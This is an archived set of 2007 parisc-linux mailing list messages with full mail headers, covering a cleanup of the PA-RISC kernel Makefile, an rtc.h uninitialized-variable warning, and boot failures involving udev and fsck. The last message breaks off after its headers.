Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uW1kKOdJMydzT4igZWplWUxraGRhZhpI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24823

It helps when I use the right mailing list address..

	Sam

----- Forwarded message from Sam Ravnborg <sam@ravnborg.org> -----

Subject: parisc arch makefile clean-up needed [Was: cleaning up "make headers_install" for various architectures]
Sender: linux-kernel-owner@vger.kernel.org
From: Sam Ravnborg <sam@ravnborg.org>
Date:	Wed, 10 Oct 2007 20:38:58 +0200
User-Agent: Mutt/1.4.2.1i
To: "Robert P. J. Day" <rpjday@mindspring.com>,
	parisc-linux-request@lists.parisc-linux.org
Cc: Randy Dunlap <randy.dunlap@oracle.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>
X-Mailing-List:	linux-kernel@vger.kernel.org

Added parisc mailing-listi and cc'ed parisc maintainers.

On Wed, Oct 10, 2007 at 01:26:16PM -0400, Robert P. J. Day wrote:
> On Wed, 10 Oct 2007, Randy Dunlap wrote:
> 
> > On Wed, 10 Oct 2007 12:44:58 -0400 (EDT) Robert P. J. Day wrote:
> >
> > >   the final example, parisc, just plain fails:
> > >
> > > $ make ARCH=parisc headers_install
> > > /home/rpjday/k/git/scripts/gcc-version.sh: line 16: hppa-linux-gcc: command not found
> > > /home/rpjday/k/git/scripts/gcc-version.sh: line 17: hppa-linux-gcc: command not found
> > > /home/rpjday/k/git/arch/parisc/Makefile:39: *** Sorry, GCC v3.3 or above is required..  Stop.
> >
> >
> > Try
> > $ make CROSS_COMPILE="" CC=gcc ARCH=parisc headers_install
> >
> > :(
> > ---
> > ~Randy
> 
> oh, i know how to get around it -- i was just thinking that it
> shouldn't *require* a workaround, that's all.  all of those previous
> warnings and errors are clearly due to the early part of the make
> testing for the appropriate arch-specific build tools without
> realizing that the make target doesn't *need* any of those things just
> to install headers.

parisc arch Makefile needs some love and care...

The logic selecting CROSS_COMPILE seems fishy and wrong -
the error reported by rday is obvious in this respect.

FINAL_LD is unused - kill it.

Building with oldpalo has been broken for a loong time - time to kill it?
Hint - the "cd ../palo" is not working as expected.
And use of TOPDIR is deprecated.

The libs-y assignment should learn from the other architectures how to
get the gcc lib filename:
$(shell $(CC) $(CFLAGS) -print-libgcc-file-name)


And this snippet is also wrong:
PALO := $(shell if which palo; then : ; \
	elif [ -x /sbin/palo ]; then echo /sbin/palo; \
	fi)

palo: vmlinux
	@if [ -x $PALO ]; then \


Make does not export variables so $PALO is not the same as $(PALO).
The latter should be used.

I did not supply a patch because I do not fully understand the
logic behind setting CROSS_COMPILE and 64BIT or not.
But I will be happy to review a patch to fix the issues in the
parisc Makefile.

	Sam

From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc arch makefile clean-up needed [Was:
	cleaning up "make headers_install" for various architectures]
Date: Wed, 10 Oct 2007 13:10:21 -0600
Lines: 78
Approved: news@gmane.org
Message-ID: <20071010191020.GD2730__24983.1842062578$1416624447$gmane$org@parisc-linux.org>
References: <20071010184225.GA2470@uranus.ravnborg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624447 25379 80.91.229.3 (22 Nov 2014 02:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Oct 2007 19:10:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 10 Oct 2007 21:10:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2998D7E639;
	Wed, 10 Oct 2007 13:10:46 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tJaMjBTiY0s5; Wed, 10 Oct 2007 13:10:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 594627E63E;
	Wed, 10 Oct 2007 13:10:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD5847E638
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 13:10:31 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2OtY3fA1pnEA for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 13:10:21 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7A8F07E635
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 13:10:21 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 4CADA494003; Wed, 10 Oct 2007 13:10:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20071010184225.GA2470@uranus.ravnborg.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gBE+c/04X1VoOOuYY2Fyb2R3SDc4NMwc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24824

On Wed, Oct 10, 2007 at 08:42:25PM +0200, Sam Ravnborg wrote:
> parisc arch Makefile needs some love and care...
> 
> The logic selecting CROSS_COMPILE seems fishy and wrong -
> the error reported by rday is obvious in this respect.

He doesn't have a compiler installed that can target parisc.  It doesn't
seem obvious to me that this should work.

> FINAL_LD is unused - kill it.

OK.

> Building with oldpalo has been broken for a loong time - time to kill it?
> Hint - the "cd ../palo" is not working as expected.
> And use of TOPDIR is deprecated.

OK, killed.  I don't think anyone still uses that.

> The libs-y assignment should learn from the other architectures how to
> get the gcc lib filename:
> $(shell $(CC) $(CFLAGS) -print-libgcc-file-name)

Actually, this looks utterly unstandardised:

arch/cris/Makefile:LIBGCC = $(shell $(CC) $(CFLAGS) -print-file-name=libgcc.a)
arch/h8300/Makefile:LIBGCC := $(shell $(CROSS-COMPILE)$(CC) $(CFLAGS) -print-libgcc-file-name)
arch/m32r/Makefile:LIBGCC       := $(shell $(CC) $(CFLAGS) -print-libgcc-file-name)
arch/parisc/Makefile:libs-y     += arch/parisc/lib/ `$(CC) -print-libgcc-file-name`
arch/sh64/Makefile:LIBGCC := $(shell $(CC) $(CFLAGS) -print-libgcc-file-name)
arch/sh/Makefile:LIBGCC := $(shell $(CC) $(CFLAGS) -print-libgcc-file-name)
arch/xtensa/Makefile:LIBGCC := $(shell $(CC) $(CFLAGS) -print-libgcc-file-name)

How about we set it in the main Makefile, or one of the ones in
scripts/?  That way we don't have to learn why $(shell $(CC) $(CFLAGS)
-print-libgcc-file-name) is superior to `$(CC) -print-libgcc-file-name`

> 
> And this snippet is also wrong:
> PALO := $(shell if which palo; then : ; \
> 	elif [ -x /sbin/palo ]; then echo /sbin/palo; \
> 	fi)
> 
> palo: vmlinux
> 	@if [ -x $PALO ]; then \
> 
> 
> Make does not export variables so $PALO is not the same as $(PALO).
> The latter should be used.

Huh.  Looks like the sense of the test is reversed too.  That should
probably be:

	@if [ ! -x $(PALO) ]; then \

> I did not supply a patch because I do not fully understand the
> logic behind setting CROSS_COMPILE and 64BIT or not.
> But I will be happy to review a patch to fix the issues in the
> parisc Makefile.

One issue is that we don't have native 64-bit userspace on parisc.
And we don't have a toolchain that you can pass -m32/-m64 to; you have
to explicitly build a hppa64-linux-gnu toolchain.  Another thing we try
and make user-friendly is that if you're building the parisc kernel on
a non-parisc machine, you need to use a cross-compiler, so we autodetect
that case for you.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Sat, 20 Oct 2007 12:44:32 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440710200944q686fc502j61d84ec95a3da2ac__21280.0884539776$1416624447$gmane$org@mail.gmail.com>
References: <20071018194100.GA11936@fattire.cabal.ca>
	<200710200214.l9K2Ex5X001494@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624447 25384 80.91.229.3 (22 Nov 2014 02:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:27 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 17:07:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 20 Oct 2007 19:07:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68CA97E98F;
	Sat, 20 Oct 2007 10:44:56 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gLNmOH26m1-J; Sat, 20 Oct 2007 10:44:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 038847E990;
	Sat, 20 Oct 2007 10:44:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF1377E98E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 10:44:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ayb5pCjDpChI for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 10:44:30 -0600 (MDT)
Original-Received: from rv-out-0910.google.com (rv-out-0910.google.com [209.85.198.187])
	by free.linux.hp.com (Postfix) with ESMTP id 94A2D7E986
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 10:44:30 -0600 (MDT)
Original-Received: by rv-out-0910.google.com with SMTP id b22so866069rvf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 09:44:32 -0700 (PDT)
Original-Received: by 10.141.210.5 with SMTP id m5mr1582621rvq.1192898672415;
	Sat, 20 Oct 2007 09:44:32 -0700 (PDT)
Original-Received: by 10.141.85.1 with HTTP; Sat, 20 Oct 2007 09:44:32 -0700 (PDT)
In-Reply-To: <200710200214.l9K2Ex5X001494@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: ef737915f9a3d22a
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1QIvc0oSTiEscKyUaGRwDBF1ZUVSRFdO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24825

On 10/19/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > Just temporarily. The workflow wasn't really working for me, and wasn't
> > motivating me to generate diffs. I'll be putting more -pa testkernels
> > up.
>
> Ok, I saw you made a lot of updates to parisc-2.6, so I cloned it
> this evening.  Noticed a small warning/bug from asm-parisc/rtc.h.
>
> The call to get_rtc_time in get_rtc_ss doesn't check the return
> value from get_rtc_time for RTC_BATT_BAD.  As a result, h may
> be used unininitialized.  I guess this only happens if the RTC
> battery is bad...

GCC head is really great at correctly noticing uninitialized uses of
variables. I'm tempted to compile the kernel with head just to fix
these. I just fixed 2 such cases in gdb.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Sat, 20 Oct 2007 13:24:36 -0400 (EDT)
Lines: 87
Approved: news@gmane.org
Message-ID: <200710201724.l9KHOawa021786__48143.154444597$1416624447$gmane$org@hiauly1.hia.nrc.ca>
References: <200710200214.l9K2Ex5X001494@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624447 25389 80.91.229.3 (22 Nov 2014 02:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:27 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 17:25:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 20 Oct 2007 19:25:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B4B07E993;
	Sat, 20 Oct 2007 11:25:13 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id V9+D7ua+Ub8H; Sat, 20 Oct 2007 11:25:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5287E7E99B;
	Sat, 20 Oct 2007 11:25:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C08F87E990
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:24:57 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cVV9wxvd+zcT for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:24:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E17577E98F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:24:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id l9KHObtQ021787;
	Sat, 20 Oct 2007 13:24:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id l9KHOawa021786;
	Sat, 20 Oct 2007 13:24:36 -0400 (EDT)
In-Reply-To: <200710200214.l9K2Ex5X001494@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Oct 19, 2007 10:14:59 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ywstcFQsbGI1cqaDYmRnwQBncmZ1ZhxO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24826

> Ok, I saw you made a lot of updates to parisc-2.6, so I cloned it
> this evening.

This kernel build also has the user/group problem:

...
Starting internet superserver: inetd.
Starting Postfix Mail Transport Agent: postfixpostfix: fatal: file /etc/postfix/main.cf: parameter default_privs: unknown user name value: nobody
 failed!
...

This is without udev installed.  With udev, the problems are much
more serious:

...
Mount failed for selinuxfs on /selinux:  No such file or directory
INIT: version 2.86 booting
udevd[298]: init_udevd_socket: bind failed: Address already in use
udevd[297]: init_udevd_socket: bind failed: Address already in use
udevd[297]: main: error initializing udevd socket
udevd[296]: main: error disabling OOM: No such file or directory
udevd[299]: init_udevd_socket: bind failed: Address already in use
udevd[299]: main: error initializing udevd socket
* .udev/ already exists on the static /dev!
Starting the hotplug events dispatcher: udevdudevd[379]: init_udevd_socket: bind failed: Address already in use
error initializing udevd socket
udevd[379]: main: error initializing udevd socket
 failed!
Setting the system clock.
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
* Unable to set System Clock to: Sat Oct 20 06:10:23 UTC 2007
Activating swap:.
Will now check root file system:fsck 1.40.2 (12-Jul-2007)
[/sbin/fsck.ext2 (1) -- /lib/init/rw/rootdev] fsck.ext2 -a -C0 /lib/init/rw/rootdev
/lib/init/rw/rootdev: clean, 594499/4308992 files, 2720805/8612848 blocks.
Setting the system clock.
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
* Unable to set System Clock to: Sat Oct 20 06:10:25 UTC 2007
Cleaning up ifupdown....
Loading kernel module tg3.
tg3.c:v3.84 (October 12, 2007)
eth0: Tigon3 [partno(BCM95700A6) rev 0105 PHY(5701)] (PCI:66MHz:64-bit) 10/100/1000Base-T Ethernet 00:30:6e:4b:16:4d
eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] WireSpeed[1] TSOcap[0]
eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
Loading device-mapper support.
Loading device-mapper support.
Will now check all file systems.
fsck 1.40.2 (12-Jul-2007)
Checking all file systems.
[/sbin/fsck.ext2 (1) -- /boot] fsck.ext2 -a -C0 /dev/sda1
fsck.ext2: No such file or directory while trying to open /dev/sda1
/dev/sda1:
The superblock could not be read or does not describe a correct ext2
filesystem.  If the device is valid and it really contains an ext2
filesystem (and not swap or ufs or something else), then the superblock
is corrupt, and you might try running e2fsck with an alternate superblock:
    e2fsck -b 8193 <device>

fsck died with exit status 8
* File system check failed.
A log is being saved in /var/log/fsck/checkfs if that location is writable.
Please repair the file system manually.
* A maintenance shell will now be started.
CONTROL-D will terminate this shell and resume system boot.
Give root password for maintenance
(or type Control-D to continue):
...

Possibly, this caused by setting

  CONFIG_UEVENT_HELPER_PATH="/sbin/udevd"

"/sbin/hotplug" doesn't exist and there's no help for this option,
so it's not obvious what to select.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's in parisc-2.6.git
Date: Sat, 20 Oct 2007 15:17:50 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200710201917.l9KJHpPZ023957__19715.2252578691$1416624448$gmane$org@hiauly1.hia.nrc.ca>
References: <200710201724.l9KHOawa021786@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624448 25395 80.91.229.3 (22 Nov 2014 02:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:28 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 19:18:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 20 Oct 2007 21:18:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B37E7E9A3;
	Sat, 20 Oct 2007 13:18:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zF0FpiiUN1IC; Sat, 20 Oct 2007 13:18:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 234DC7E9A5;
	Sat, 20 Oct 2007 13:18:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB1E57E9A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 13:18:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EKZtGSeFOz1i for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 13:18:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3087E9A1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 13:18:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id l9KJHpMZ023959;
	Sat, 20 Oct 2007 15:17:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id l9KJHpPZ023957;
	Sat, 20 Oct 2007 15:17:51 -0400 (EDT)
In-Reply-To: <200710201724.l9KHOawa021786@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Oct 20, 2007 01:24:36 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
